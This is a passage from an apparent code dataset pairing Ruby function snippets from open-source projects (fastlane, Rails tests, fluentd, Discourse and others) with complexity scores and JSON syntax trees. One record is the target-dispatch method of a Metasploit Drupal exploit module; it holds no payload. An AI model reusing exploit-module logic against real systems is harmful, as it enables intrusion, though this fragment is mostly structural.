frames\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"Boolean\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"use_legacy_iphone7\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FRAMEIT_USE_LEGACY_IPHONE_7\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Use iPhone 7 frames instead of iPhone 8 frames\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"Boolean\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"use_legacy_iphonex\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FRAMEIT_USE_LEGACY_IPHONE_X\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Use iPhone X instead of iPhone XS frames\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"Boolean\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"use_legacy_iphonexr\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FRAMEIT_USE_LEGACY_IPHONE_XR\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Use iPhone XR instead of iPhone 11 frames\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"Boolean\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"use_legacy_iphonexs\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FRAMEIT_USE_LEGACY_IPHONE_XS\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Use iPhone XS instead of iPhone 11 Pro frames\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"Boolean\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"use_legacy_iphonexsmax\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FRAMEIT_USE_LEGACY_IPHONE_XS_MAX\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Use iPhone XS Max instead of iPhone 11 Pro Max frames\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"Boolean\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"force_orientation_block\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"sym\",\"children\":[\"string_callback\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"[Advanced] A block to customize your screenshots' device orientation\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"display_in_shell\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"filename\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"f\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"filename\"]},\"downcase\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"end_with?\",{\"type\":\"str\",\"children\":[\"force_landscapeleft\"]}]},{\"type\":\"sym\",\"children\":[\"landscape_left\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"f\"]},\"end_with?\",{\"type\":\"str\",\"children\":[\"force_landscaperight\"]}]},{\"type\":\"sym\",\"children\":[\"landscape_right\"]},null]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value_dynamic\"]},{\"type\":\"true\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"debug_mode\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FRAMEIT_DEBUG_MODE\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Output debug information in framed screenshots\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"Boolean\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"resume\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FRAMEIT_RESUME\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Resume frameit instead of reprocessing all screenshots\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"false\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"const\",\"children\":[null,\"Boolean\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FastlaneCore\"]},\"ConfigItem\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"key\"]},{\"type\":\"sym\",\"children\":[\"use_platform\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"env_name\"]},{\"type\":\"str\",\"children\":[\"FRAMEIT_USE_PLATFORM\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"description\"]},{\"type\":\"str\",\"children\":[\"Choose a platform, the valid options are IOS, ANDROID and ANY (default is either general platform defined in the fastfile or IOS to ensure backward compatibility)\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"optional\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Platform\"]},\"symbol_to_constant\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Fastlane\"]},\"Helper\"]},\"LaneHelper\"]},\"current_platform\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"default_value_dynamic\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"verify_block\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"proc\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"value\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ConfigParser\"]},\"supported_platform?\",{\"type\":\"lvar\",\"children\":[\"value\"]}]},null,{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UI\"]},\"user_error!\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Invalid platform type '\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"value\"]}]},{\"type\":\"str\",\"children\":[\"'. Available values are \"]}]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Platform\"]},\"all_platforms\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]},\"+\",{\"type\":\"str\",\"children\":[\".\"]}]}]}]}]}]}]}]}]}]}]}","id":"d10b74de-f5e6-4482-8ff7-ac69585a2a97"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/relation/merging_test.rb","start_line":256,"raw_source":"def test_merging_reorders_bind_params\n post = Post.first\n right = Post.where(id: 1)\n left = Post.where(title: post.title)\n\n merged = left.merge(right)\n assert_equal post, merged.first\n end","complexity_score":11.7,"ast_json":"{\"type\":\"def\",\"children\":[\"test_merging_reorders_bind_params\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"post\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"first\"]}]},{\"type\":\"lvasgn\",\"children\":[\"right\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"int\",\"children\":[1]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"left\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Post\"]},\"where\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"post\"]},\"title\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"merged\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"left\"]},\"merge\",{\"type\":\"lvar\",\"children\":[\"right\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"lvar\",\"children\":[\"post\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"merged\"]},\"first\"]}]}]}]}","id":"1ce94cce-3cac-4d7b-a236-c5737d426124"} {"repo_name":"pundit","file_path":"./repos/pundit/spec/simple_cov_check_action_formatter.rb","start_line":8,"raw_source":"def covered_strength = source_file.covered_strength","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"covered_strength\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"source_file\"]},\"covered_strength\"]}]}","id":"b1bd9f77-c053-4aa4-8cfe-36b2c4c90bcf"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/transaction_callbacks_test.rb","start_line":418,"raw_source":"def test_after_commit_callback_should_not_rollback_state_that_already_been_succeeded\n klass = Class.new(TopicWithCallbacks) do\n self.inheritance_column = nil\n validates :title, presence: true\n end\n\n first = klass.new(title: \"foo\")\n first.after_commit_block { |r| r.update(title: nil) if r.persisted? }\n first.save!\n\n assert_predicate first, :persisted?\n assert_not_nil first.id\n ensure\n first.destroy!\n end","complexity_score":19.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_after_commit_callback_should_not_rollback_state_that_already_been_succeeded\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"klass\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Class\"]},\"new\",{\"type\":\"const\",\"children\":[null,\"TopicWithCallbacks\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"inheritance_column=\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"validates\",{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"presence\"]},{\"type\":\"true\",\"children\":[]}]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"first\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"klass\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"str\",\"children\":[\"foo\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"first\"]},\"after_commit_block\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"r\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"persisted?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"r\"]},\"update\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"title\"]},{\"type\":\"nil\",\"children\":[]}]}]}]},null]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"first\"]},\"save!\"]},{\"type\":\"send\",\"children\":[null,\"assert_predicate\",{\"type\":\"lvar\",\"children\":[\"first\"]},{\"type\":\"sym\",\"children\":[\"persisted?\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"first\"]},\"id\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"first\"]},\"destroy!\"]}]}]}","id":"cd9368f1-b49a-4ad5-ba3c-03403fc46e6e"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/adapters/postgresql/connection_test.rb","start_line":187,"raw_source":"def test_set_session_variable_default\n run_without_connection do |orig_connection|\n # This should execute a query that does not raise an error\n assert_nothing_raised do\n ActiveRecord::Base.establish_connection(orig_connection.deep_merge(variables: { debug_print_plan: :default }))\n end\n end\n end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_set_session_variable_default\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_without_connection\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"orig_connection\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_nothing_raised\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"ActiveRecord\"]},\"Base\"]},\"establish_connection\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"orig_connection\"]},\"deep_merge\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"variables\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"debug_print_plan\"]},{\"type\":\"sym\",\"children\":[\"default\"]}]}]}]}]}]}]}]}]}]}","id":"f6c67fa6-b075-422a-a7bd-c13e9d603707"} {"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/counter/mutex_hash.rb","start_line":40,"raw_source":"def synchronize(*keys)\n return if keys.empty?\n\n locks = {}\n loop do\n @mutex.synchronize do\n keys.each do |key|\n mutex = @mutex_hash[key]\n unless mutex\n v = Mutex.new\n @mutex_hash[key] = v\n mutex = v\n end\n\n if mutex.try_lock\n locks[key] = mutex\n else\n locks.each_value(&:unlock)\n locks = {} # flush locked keys\n break\n end\n end\n end\n\n next if locks.empty? # failed to lock all keys\n\n locks.each do |(k, v)|\n yield @data_store, k\n v.unlock\n end\n break\n end\n end","complexity_score":42.7,"ast_json":"{\"type\":\"def\",\"children\":[\"synchronize\",{\"type\":\"args\",\"children\":[{\"type\":\"restarg\",\"children\":[\"keys\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"empty?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"locks\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loop\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@mutex\"]},\"synchronize\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"keys\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"key\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"mutex\",{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@mutex_hash\"]},\"[]\",{\"type\":\"lvar\",\"children\":[\"key\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mutex\"]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"v\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mutex\"]},\"new\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@mutex_hash\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"v\"]}]},{\"type\":\"lvasgn\",\"children\":[\"mutex\",{\"type\":\"lvar\",\"children\":[\"v\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"mutex\"]},\"try_lock\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locks\"]},\"[]=\",{\"type\":\"lvar\",\"children\":[\"key\"]},{\"type\":\"lvar\",\"children\":[\"mutex\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locks\"]},\"each_value\",{\"type\":\"block_pass\",\"children\":[{\"type\":\"sym\",\"children\":[\"unlock\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"locks\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"break\",\"children\":[]}]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locks\"]},\"empty?\"]},{\"type\":\"next\",\"children\":[]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"locks\"]},\"each\"]},{\"type\":\"args\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]},{\"type\":\"arg\",\"children\":[\"v\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"yield\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@data_store\"]},{\"type\":\"lvar\",\"children\":[\"k\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"v\"]},\"unlock\"]}]}]},{\"type\":\"break\",\"children\":[]}]}]}]}]}","id":"55487d2c-e08b-4731-8d5a-5c969bc8d751"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/drupal_drupageddon.rb","start_line":483,"raw_source":"def exploit\n case datastore['TARGET']\n when 0\n exploit_formcache\n when 1\n exploit_newuser\n else\n fail_with(Failure::BadConfig, \"Invalid target selected.\")\n end\n end","complexity_score":9.2,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"case\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"TARGET\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[0]},{\"type\":\"send\",\"children\":[null,\"exploit_formcache\"]}]},{\"type\":\"when\",\"children\":[{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[null,\"exploit_newuser\"]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"BadConfig\"]},{\"type\":\"str\",\"children\":[\"Invalid target selected.\"]}]}]}]}","id":"0f2b953a-a7f6-41bb-ac58-21505c82939a"} {"repo_name":"manageiq","file_path":"./repos/manageiq/lib/extensions/ar_base_model.rb","start_line":10,"raw_source":"def model_suffix\n name[base_model.name.length..-1]\n end","complexity_score":6.4,"ast_json":"{\"type\":\"def\",\"children\":[\"model_suffix\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"name\"]},\"[]\",{\"type\":\"irange\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"base_model\"]},\"name\"]},\"length\"]},{\"type\":\"int\",\"children\":[-1]}]}]}]}","id":"633c9983-387c-491b-bde3-d5c8c89df5b1"} {"repo_name":"rails","file_path":"./repos/rails/activerecord/test/cases/fixtures_test.rb","start_line":518,"raw_source":"def test_erb_in_fixtures\n assert_equal \"fixture_5\", @dev_5.name\n end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"test_erb_in_fixtures\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_equal\",{\"type\":\"str\",\"children\":[\"fixture_5\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@dev_5\"]},\"name\"]}]}]}","id":"5db498cc-393f-4980-b2f2-4ce8fc37fdd0"} {"repo_name":"openproject","file_path":"./repos/openproject/spec/mailers/previews/meeting_mailer_preview.rb","start_line":84,"raw_source":"def invited\n language = params[\"locale\"] || I18n.default_locale\n actor = FactoryBot.build_stubbed(:user, lastname: \"Actor\")\n user = FactoryBot.build_stubbed(:user, language:)\n meeting = FactoryBot.build_stubbed(:meeting)\n\n MeetingMailer.invited(meeting, user, actor)\n end","complexity_score":12.5,"ast_json":"{\"type\":\"def\",\"children\":[\"invited\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"language\",{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"str\",\"children\":[\"locale\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"I18n\"]},\"default_locale\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"actor\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FactoryBot\"]},\"build_stubbed\",{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"lastname\"]},{\"type\":\"str\",\"children\":[\"Actor\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"user\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FactoryBot\"]},\"build_stubbed\",{\"type\":\"sym\",\"children\":[\"user\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"language\"]},{\"type\":\"lvar\",\"children\":[\"language\"]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"meeting\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FactoryBot\"]},\"build_stubbed\",{\"type\":\"sym\",\"children\":[\"meeting\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"MeetingMailer\"]},\"invited\",{\"type\":\"lvar\",\"children\":[\"meeting\"]},{\"type\":\"lvar\",\"children\":[\"user\"]},{\"type\":\"lvar\",\"children\":[\"actor\"]}]}]}]}","id":"3426aec1-4361-4919-9825-d348539379dd"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/spec/lib/completions/endpoints/ollama_spec.rb","start_line":36,"raw_source":"def stream_line(delta)\n message_content = { content: delta }\n\n +{\n model: \"llama3.1\",\n created_at: \"2024-09-25T06:47:21.283028Z\",\n message: { role: \"assistant\" }.merge(message_content),\n done: false,\n }.to_json\n end","complexity_score":4.6,"ast_json":"{\"type\":\"def\",\"children\":[\"stream_line\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"delta\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"message_content\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"content\"]},{\"type\":\"lvar\",\"children\":[\"delta\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model\"]},{\"type\":\"str\",\"children\":[\"llama3.1\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"created_at\"]},{\"type\":\"str\",\"children\":[\"2024-09-25T06:47:21.283028Z\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"role\"]},{\"type\":\"str\",\"children\":[\"assistant\"]}]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"message_content\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"done\"]},{\"type\":\"false\",\"children\":[]}]}]},\"to_json\"]},\"+@\"]}]}]}","id":"deb0df66-73e8-4ae